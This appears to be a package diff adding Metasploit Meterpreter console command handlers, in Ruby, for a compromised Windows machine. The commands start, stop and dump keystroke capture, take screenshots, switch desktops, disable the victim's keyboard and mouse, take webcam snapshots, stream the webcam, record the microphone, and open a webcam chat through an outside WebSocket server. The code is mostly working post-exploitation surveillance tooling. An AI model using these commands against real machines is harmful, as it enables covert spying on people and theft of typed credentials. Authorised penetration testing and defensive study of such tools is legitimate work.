  462. data/lib/rex/ui/progress_tracker.rb +97 -0
  463. data/lib/rex/ui/subscriber.rb +160 -0
  464. data/lib/rex/ui/text/color.rb +98 -0
  465. data/lib/rex/ui/text/dispatcher_shell.rb +538 -0
  466. data/lib/rex/ui/text/input.rb +119 -0
  467. data/lib/rex/ui/text/input/buffer.rb +79 -0
  468. data/lib/rex/ui/text/input/readline.rb +129 -0
  469. data/lib/rex/ui/text/input/socket.rb +96 -0
  470. data/lib/rex/ui/text/input/stdio.rb +46 -0
  471. data/lib/rex/ui/text/irb_shell.rb +62 -0
  472. data/lib/rex/ui/text/output.rb +86 -0
  473. data/lib/rex/ui/text/output/buffer.rb +62 -0
  474. data/lib/rex/ui/text/output/buffer/stdout.rb +26 -0
  475. data/lib/rex/ui/text/output/file.rb +44 -0
  476. data/lib/rex/ui/text/output/socket.rb +44 -0
  477. data/lib/rex/ui/text/output/stdio.rb +53 -0
  478. data/lib/rex/ui/text/output/tee.rb +56 -0
  479. data/lib/rex/ui/text/progress_tracker.rb +57 -0
  480. data/lib/rex/ui/text/shell.rb +403 -0
  481. data/lib/rex/ui/text/table.rb +346 -0
  482. data/lib/rex/zip.rb +96 -0
  483. data/lib/rex/zip/archive.rb +130 -0
  484. data/lib/rex/zip/blocks.rb +184 -0
  485. data/lib/rex/zip/entry.rb +122 -0
  486. data/lib/rex/zip/jar.rb +283 -0
  487. data/lib/rex/zip/samples/comment.rb +32 -0
  488. data/lib/rex/zip/samples/mkwar.rb +138 -0
  489. data/lib/rex/zip/samples/mkzip.rb +19 -0
  490. data/lib/rex/zip/samples/recursive.rb +58 -0
  491. metadata +536 -0
@@ -0,0 +1,318 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/post/meterpreter'
3
+
4
+ module Rex
5
+ module Post
6
+ module Meterpreter
7
+ module Ui
8
+
9
+ ###
10
+ #
11
+ # The user interface portion of the standard API extension.
12
+ #
13
+ ###
14
+ class Console::CommandDispatcher::Stdapi::Ui
15
+
16
+ Klass = Console::CommandDispatcher::Stdapi::Ui
17
+
18
+ include Console::CommandDispatcher
19
+
20
+ #
21
+ # List of supported commands.
22
+ #
23
+ def commands
24
+ all = {
25
+ "enumdesktops" => "List all accessible desktops and window stations",
26
+ "getdesktop" => "Get the current meterpreter desktop",
27
+ "idletime" => "Returns the number of seconds the remote user has been idle",
28
+ "keyscan_dump" => "Dump the keystroke buffer",
29
+ "keyscan_start" => "Start capturing keystrokes",
30
+ "keyscan_stop" => "Stop capturing keystrokes",
31
+ "screenshot" => "Grab a screenshot of the interactive desktop",
32
+ "setdesktop" => "Change the meterpreters current desktop",
33
+ "uictl" => "Control some of the user interface components"
34
+ # not working yet
35
+ # "unlockdesktop" => "Unlock or lock the workstation (must be inside winlogon.exe)",
36
+ }
37
+
38
+ reqs = {
39
+ "enumdesktops" => [ "stdapi_ui_desktop_enum" ],
40
+ "getdesktop" => [ "stdapi_ui_desktop_get" ],
41
+ "idletime" => [ "stdapi_ui_get_idle_time" ],
42
+ "keyscan_dump" => [ "stdapi_ui_get_keys" ],
43
+ "keyscan_start" => [ "stdapi_ui_start_keyscan" ],
44
+ "keyscan_stop" => [ "stdapi_ui_stop_keyscan" ],
45
+ "screenshot" => [ "stdapi_ui_desktop_screenshot" ],
46
+ "setdesktop" => [ "stdapi_ui_desktop_set" ],
47
+ "uictl" => [
48
+ "stdapi_ui_enable_mouse",
49
+ "stdapi_ui_enable_keyboard"
50
+ ]
51
+ }
52
+
53
+ all.delete_if do |cmd, desc|
54
+ del = false
55
+ reqs[cmd].each do |req|
56
+ next if client.commands.include? req
57
+ del = true
58
+ break
59
+ end
60
+
61
+ del
62
+ end
63
+
64
+ all
65
+ end
66
+
67
+ #
68
+ # Name for this dispatcher.
69
+ #
70
+ def name
71
+ "Stdapi: User interface"
72
+ end
73
+
74
+ #
75
+ # Executes a command with some options.
76
+ #
77
+ def cmd_idletime(*args)
78
+ seconds = client.ui.idle_time
79
+
80
+ print_line(
81
+ "User has been idle for: #{Rex::ExtTime.sec_to_s(seconds)}")
82
+
83
+ return true
84
+ end
85
+
86
+ #
87
+ # Enables/disables user interface mice and keyboards on the remote machine.
88
+ #
89
+ def cmd_uictl(*args)
90
+ if (args.length < 2)
91
+ print_line(
92
+ "Usage: uictl [enable/disable] [keyboard/mouse]")
93
+ return true
94
+ end
95
+
96
+ case args[0]
97
+ when 'enable'
98
+ case args[1]
99
+ when 'keyboard'
100
+ print_line("Enabling keyboard...")
101
+ client.ui.enable_keyboard
102
+ when 'mouse'
103
+ print_line("Enabling mouse...")
104
+ client.ui.enable_mouse
105
+ else
106
+ print_error("Unsupported user interface device: #{args[1]}")
107
+ end
108
+ when 'disable'
109
+ case args[1]
110
+ when 'keyboard'
111
+ print_line("Disabling keyboard...")
112
+ client.ui.disable_keyboard
113
+ when 'mouse'
114
+ print_line("Disabling mouse...")
115
+ client.ui.disable_mouse
116
+ else
117
+ print_error("Unsupported user interface device: #{args[1]}")
118
+ end
119
+ else
120
+ print_error("Unsupported command: #{args[0]}")
121
+ end
122
+
123
+ return true
124
+ end
125
+
126
+ #
127
+ # Grab a screenshot of the current interactive desktop.
128
+ #
129
+ def cmd_screenshot( *args )
130
+ path = Rex::Text.rand_text_alpha(8) + ".jpeg"
131
+ quality = 50
132
+ view = false
133
+
134
+ screenshot_opts = Rex::Parser::Arguments.new(
135
+ "-h" => [ false, "Help Banner." ],
136
+ "-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ],
137
+ "-p" => [ true, "The JPEG image path (Default: '#{path}')" ],
138
+ "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ]
139
+ )
140
+
141
+ screenshot_opts.parse( args ) { | opt, idx, val |
142
+ case opt
143
+ when "-h"
144
+ print_line( "Usage: screenshot [options]\n" )
145
+ print_line( "Grab a screenshot of the current interactive desktop." )
146
+ print_line( screenshot_opts.usage )
147
+ return
148
+ when "-q"
149
+ quality = val.to_i
150
+ when "-p"
151
+ path = val
152
+ when "-v"
153
+ view = false if ( val =~ /^(f|n|0)/i )
154
+ end
155
+ }
156
+
157
+ data = client.ui.screenshot( quality )
158
+
159
+ if( data )
160
+ ::File.open( path, 'wb' ) do |fd|
161
+ fd.write( data )
162
+ end
163
+
164
+ path = ::File.expand_path( path )
165
+
166
+ print_line( "Screenshot saved to: #{path}" )
167
+
168
+ Rex::Compat.open_file( path ) if view
169
+ end
170
+
171
+ return true
172
+ end
173
+
174
+ #
175
+ # Enumerate desktops
176
+ #
177
+ def cmd_enumdesktops(*args)
178
+ print_line( "Enumerating all accessible desktops" )
179
+
180
+ desktops = client.ui.enum_desktops
181
+
182
+ desktopstable = Rex::Ui::Text::Table.new(
183
+ 'Header' => "Desktops",
184
+ 'Indent' => 4,
185
+ 'Columns' => [ "Session",
186
+ "Station",
187
+ "Name"
188
+ ]
189
+ )
190
+
191
+ desktops.each { | desktop |
192
+ session = desktop['session'] == 0xFFFFFFFF ? '' : desktop['session'].to_s
193
+ desktopstable << [ session, desktop['station'], desktop['name'] ]
194
+ }
195
+
196
+ if( desktops.length == 0 )
197
+ print_line( "No accessible desktops were found." )
198
+ else
199
+ print( "\n" + desktopstable.to_s + "\n" )
200
+ end
201
+
202
+ return true
203
+ end
204
+
205
+ #
206
+ # Get the current meterpreter desktop.
207
+ #
208
+ def cmd_getdesktop(*args)
209
+
210
+ desktop = client.ui.get_desktop
211
+
212
+ session = desktop['session'] == 0xFFFFFFFF ? '' : "Session #{desktop['session'].to_s}\\"
213
+
214
+ print_line( "#{session}#{desktop['station']}\\#{desktop['name']}" )
215
+
216
+ return true
217
+ end
218
+
219
+ #
220
+ # Change the meterpreters current desktop.
221
+ #
222
+ def cmd_setdesktop( *args )
223
+
224
+ switch = false
225
+ dsession = -1
226
+ dstation = 'WinSta0'
227
+ dname = 'Default'
228
+
229
+ setdesktop_opts = Rex::Parser::Arguments.new(
230
+ "-h" => [ false, "Help Banner." ],
231
+ #"-s" => [ true, "The session (Default: '#{dsession}')" ],
232
+ "-w" => [ true, "The window station (Default: '#{dstation}')" ],
233
+ "-n" => [ true, "The desktop name (Default: '#{dname}')" ],
234
+ "-i" => [ true, "Set this desktop as the interactive desktop (Default: '#{switch}')" ]
235
+ )
236
+
237
+ setdesktop_opts.parse( args ) { | opt, idx, val |
238
+ case opt
239
+ when "-h"
240
+ print_line( "Usage: setdesktop [options]\n" )
241
+ print_line( "Change the meterpreters current desktop." )
242
+ print_line( setdesktop_opts.usage )
243
+ return
244
+ #when "-s"
245
+ # dsession = val.to_i
246
+ when "-w"
247
+ dstation = val
248
+ when "-n"
249
+ dname = val
250
+ when "-i"
251
+ switch = true if ( val =~ /^(t|y|1)/i )
252
+ end
253
+ }
254
+
255
+ if( client.ui.set_desktop( dsession, dstation, dname, switch ) )
256
+ print_line( "#{ switch ? 'Switched' : 'Changed' } to desktop #{dstation}\\#{dname}" )
257
+ else
258
+ print_line( "Failed to #{ switch ? 'switch' : 'change' } to desktop #{dstation}\\#{dname}" )
259
+ end
260
+
261
+ return true
262
+ end
263
+
264
+ #
265
+ # Unlock or lock the desktop
266
+ #
267
+ def cmd_unlockdesktop(*args)
268
+ mode = 0
269
+ if(args.length > 0)
270
+ mode = args[0].to_i
271
+ end
272
+
273
+ if(mode == 0)
274
+ print_line("Unlocking the workstation...")
275
+ client.ui.unlock_desktop(true)
276
+ else
277
+ print_line("Locking the workstation...")
278
+ client.ui.unlock_desktop(false)
279
+ end
280
+
281
+ return true
282
+ end
283
+
284
+ #
285
+ # Start the keyboard sniffer
286
+ #
287
+ def cmd_keyscan_start(*args)
288
+ print_line("Starting the keystroke sniffer...")
289
+ client.ui.keyscan_start
290
+ return true
291
+ end
292
+
293
+ #
294
+ # Stop the keyboard sniffer
295
+ #
296
+ def cmd_keyscan_stop(*args)
297
+ print_line("Stopping the keystroke sniffer...")
298
+ client.ui.keyscan_stop
299
+ return true
300
+ end
301
+
302
+ #
303
+ # Dump captured keystrokes
304
+ #
305
+ def cmd_keyscan_dump(*args)
306
+ print_line("Dumping captured keystrokes...")
307
+ data = client.ui.keyscan_dump
308
+ print_line(client.ui.keyscan_extract(data))
309
+
310
+ return true
311
+ end
312
+
313
+ end
314
+
315
+ end
316
+ end
317
+ end
318
+ end
@@ -0,0 +1,343 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/post/meterpreter'
3
+
4
+ module Rex
5
+ module Post
6
+ module Meterpreter
7
+ module Ui
8
+
9
+ ###
10
+ #
11
+ # Webcam - Capture video from the remote system
12
+ #
13
+ ###
14
+ class Console::CommandDispatcher::Stdapi::Webcam
15
+
16
+ Klass = Console::CommandDispatcher::Stdapi::Webcam
17
+
18
+ include Console::CommandDispatcher
19
+
20
+ #
21
+ # List of supported commands.
22
+ #
23
+ def commands
24
+ all = {
25
+ "webcam_chat" => "Start a video chat",
26
+ "webcam_list" => "List webcams",
27
+ "webcam_snap" => "Take a snapshot from the specified webcam",
28
+ "webcam_stream" => "Play a video stream from the specified webcam",
29
+ "record_mic" => "Record audio from the default microphone for X seconds"
30
+ }
31
+ reqs = {
32
+ "webcam_chat" => [ "webcam_list" ],
33
+ "webcam_list" => [ "webcam_list" ],
34
+ "webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
35
+ "webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
36
+ "record_mic" => [ "webcam_audio_record" ],
37
+ }
38
+
39
+ all.delete_if do |cmd, desc|
40
+ del = false
41
+ reqs[cmd].each do |req|
42
+ next if client.commands.include? req
43
+ del = true
44
+ break
45
+ end
46
+
47
+ del
48
+ end
49
+
50
+ all
51
+ end
52
+
53
+ #
54
+ # Name for this dispatcher
55
+ #
56
+ def name
57
+ "Stdapi: Webcam"
58
+ end
59
+
60
+ def cmd_webcam_list
61
+ begin
62
+ client.webcam.webcam_list.each_with_index { |name, indx|
63
+ print_line("#{indx + 1}: #{name}")
64
+ }
65
+ return true
66
+ rescue
67
+ print_error("No webcams were found")
68
+ return false
69
+ end
70
+ end
71
+
72
+ def cmd_webcam_snap(*args)
73
+ path = Rex::Text.rand_text_alpha(8) + ".jpeg"
74
+ quality = 50
75
+ view = true
76
+ index = 1
77
+ wc_list = []
78
+
79
+ webcam_snap_opts = Rex::Parser::Arguments.new(
80
+ "-h" => [ false, "Help Banner" ],
81
+ "-i" => [ true, "The index of the webcam to use (Default: 1)" ],
82
+ "-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ],
83
+ "-p" => [ true, "The JPEG image path (Default: '#{path}')" ],
84
+ "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ]
85
+ )
86
+
87
+ webcam_snap_opts.parse( args ) { | opt, idx, val |
88
+ case opt
89
+ when "-h"
90
+ print_line( "Usage: webcam_snap [options]\n" )
91
+ print_line( "Grab a frame from the specified webcam." )
92
+ print_line( webcam_snap_opts.usage )
93
+ return
94
+ when "-i"
95
+ index = val.to_i
96
+ when "-q"
97
+ quality = val.to_i
98
+ when "-p"
99
+ path = val
100
+ when "-v"
101
+ view = false if ( val =~ /^(f|n|0)/i )
102
+ end
103
+ }
104
+ begin
105
+ wc_list << client.webcam.webcam_list
106
+ rescue
107
+ end
108
+ if wc_list.length > 0
109
+ begin
110
+ print_status("Starting...")
111
+ client.webcam.webcam_start(index)
112
+ data = client.webcam.webcam_get_frame(quality)
113
+ print_good("Got frame")
114
+ ensure
115
+ client.webcam.webcam_stop
116
+ print_status("Stopped")
117
+ end
118
+
119
+ if( data )
120
+ ::File.open( path, 'wb' ) do |fd|
121
+ fd.write( data )
122
+ end
123
+ path = ::File.expand_path( path )
124
+ print_line( "Webcam shot saved to: #{path}" )
125
+ Rex::Compat.open_file( path ) if view
126
+ end
127
+ return true
128
+ else
129
+ print_error("No webcams where found")
130
+ return false
131
+ end
132
+ end
133
+
134
+ def cmd_webcam_chat(*args)
135
+ if client.webcam.webcam_list.length == 0
136
+ print_error("Target does not have a webcam")
137
+ return
138
+ end
139
+
140
+ server = 'wsnodejs.jit.su:80'
141
+
142
+ webcam_chat_opts = Rex::Parser::Arguments.new(
143
+ "-h" => [ false, "Help banner"],
144
+ "-s" => [ false, "WebSocket server" ]
145
+ )
146
+
147
+ webcam_chat_opts.parse( args ) { | opt, idx, val |
148
+ case opt
149
+ when "-h"
150
+ print_line( "Usage: webcam_chat [options]\n" )
151
+ print_line( "Starts a video conversation with your target." )
152
+ print_line( "Browser Requirements:")
153
+ print_line( "Chrome: version 23 or newer" )
154
+ print_line( "Firefox: version 22 or newer" )
155
+ print_line( webcam_chat_opts.usage )
156
+ return
157
+ when "-s"
158
+ server = val.to_s
159
+ end
160
+ }
161
+
162
+
163
+ begin
164
+ print_status("Webcam chat session initialized.")
165
+ client.webcam.webcam_chat(server)
166
+ rescue RuntimeError => e
167
+ print_error(e.message)
168
+ end
169
+ end
170
+
171
+ def cmd_webcam_stream(*args)
172
+ print_status("Starting...")
173
+ stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg"
174
+ player_path = Rex::Text.rand_text_alpha(8) + ".html"
175
+ duration = 1800
176
+ quality = 50
177
+ view = true
178
+ index = 1
179
+ wc_list = []
180
+
181
+ webcam_snap_opts = Rex::Parser::Arguments.new(
182
+ "-h" => [ false, "Help Banner" ],
183
+ "-d" => [ true, "The stream duration in seconds (Default: 1800)" ], # 30 min
184
+ "-i" => [ true, "The index of the webcam to use (Default: 1)" ],
185
+ "-q" => [ true, "The stream quality (Default: '#{quality}')" ],
186
+ "-s" => [ true, "The stream file path (Default: '#{stream_path}')" ],
187
+ "-t" => [ true, "The stream player path (Default: #{player_path})"],
188
+ "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ]
189
+ )
190
+
191
+ webcam_snap_opts.parse( args ) { | opt, idx, val |
192
+ case opt
193
+ when "-h"
194
+ print_line( "Usage: webcam_stream [options]\n" )
195
+ print_line( "Stream from the specified webcam." )
196
+ print_line( webcam_snap_opts.usage )
197
+ return
198
+ when "-d"
199
+ duration = val.to_i
200
+ when "-i"
201
+ index = val.to_i
202
+ when "-q"
203
+ quality = val.to_i
204
+ when "-s"
205
+ stream_path = val
206
+ when "-t"
207
+ player_path = val
208
+ when "-v"
209
+ view = false if ( val =~ /^(f|n|0)/i )
210
+ end
211
+ }
212
+
213
+ print_status("Preparing player...")
214
+ html = %Q|<html>
215
+ <head>
216
+ <META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
217
+ <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
218
+ <title>Metasploit webcam_stream - #{client.sock.peerhost}</title>
219
+ <script language="javascript">
220
+ function updateStatus(msg) {
221
+ var status = document.getElementById("status");
222
+ status.innerText = msg;
223
+ }
224
+
225
+ function noImage() {
226
+ document.getElementById("streamer").style = "display:none";
227
+ updateStatus("Waiting");
228
+ }
229
+
230
+ var i = 0;
231
+ function updateFrame() {
232
+ var img = document.getElementById("streamer");
233
+ img.src = "#{stream_path}#" + i;
234
+ img.style = "display:";
235
+ updateStatus("Playing");
236
+ i++;
237
+ }
238
+
239
+ setInterval(function() {
240
+ updateFrame();
241
+ },25);
242
+
243
+ </script>
244
+ </head>
245
+ <body>
246
+ <noscript>
247
+ <h2><font color="red">Error: You need Javascript enabled to watch the stream.</font></h2>
248
+ </noscript>
249
+ <pre>
250
+ Target IP : #{client.sock.peerhost}
251
+ Start time : #{Time.now}
252
+ Status : <span id="status"></span>
253
+ </pre>
254
+ <br>
255
+ <img onerror="noImage()" id="streamer">
256
+ <br><br>
257
+ <a href="http://www.metasploit.com" target="_blank">www.metasploit.com</a>
258
+ </body>
259
+ </html>
260
+ |
261
+
262
+ ::File.open(player_path, 'wb') do |f|
263
+ f.write(html)
264
+ end
265
+ if view
266
+ print_status("Opening player at: #{player_path}")
267
+ Rex::Compat.open_file(player_path)
268
+ else
269
+ print_status("Please open the player manually with a browser: #{player_path}")
270
+ end
271
+
272
+ print_status("Streaming...")
273
+ begin
274
+ client.webcam.webcam_start(index)
275
+ ::Timeout.timeout(duration) {
276
+ while client do
277
+ data = client.webcam.webcam_get_frame(quality)
278
+ if data
279
+ ::File.open(stream_path, 'wb') do |f|
280
+ f.write(data)
281
+ end
282
+ data = nil
283
+ end
284
+ end
285
+ }
286
+ rescue ::Timeout::Error
287
+ ensure
288
+ client.webcam.webcam_stop
289
+ end
290
+
291
+ print_status("Stopped")
292
+ end
293
+
294
+ def cmd_record_mic(*args)
295
+ path = Rex::Text.rand_text_alpha(8) + ".wav"
296
+ play = true
297
+ duration = 1
298
+
299
+ record_mic_opts = Rex::Parser::Arguments.new(
300
+ "-h" => [ false, "Help Banner" ],
301
+ "-d" => [ true, "Number of seconds to record (Default: 1)" ],
302
+ "-f" => [ true, "The wav file path (Default: '#{::File.expand_path( "[randomname].wav" )}')" ],
303
+ "-p" => [ true, "Automatically play the captured audio (Default: '#{play}')" ]
304
+ )
305
+
306
+ record_mic_opts.parse( args ) { | opt, idx, val |
307
+ case opt
308
+ when "-h"
309
+ print_line( "Usage: record_mic [options]\n" )
310
+ print_line( "Records audio from the default microphone." )
311
+ print_line( record_mic_opts.usage )
312
+ return
313
+ when "-d"
314
+ duration = val.to_i
315
+ when "-f"
316
+ path = val
317
+ when "-p"
318
+ play = false if ( val =~ /^(f|n|0)/i )
319
+ end
320
+ }
321
+
322
+ print_status("Starting...")
323
+ data = client.webcam.record_mic(duration)
324
+ print_status("Stopped")
325
+
326
+ if( data )
327
+ ::File.open( path, 'wb' ) do |fd|
328
+ fd.write( data )
329
+ end
330
+ path = ::File.expand_path( path )
331
+ print_line( "Audio saved to: #{path}" )
332
+ Rex::Compat.play_sound( path ) if play
333
+ end
334
+ return true
335
+ end
336
+
337
+ end
338
+
339
+ end
340
+ end
341
+ end
342
+ end
343
+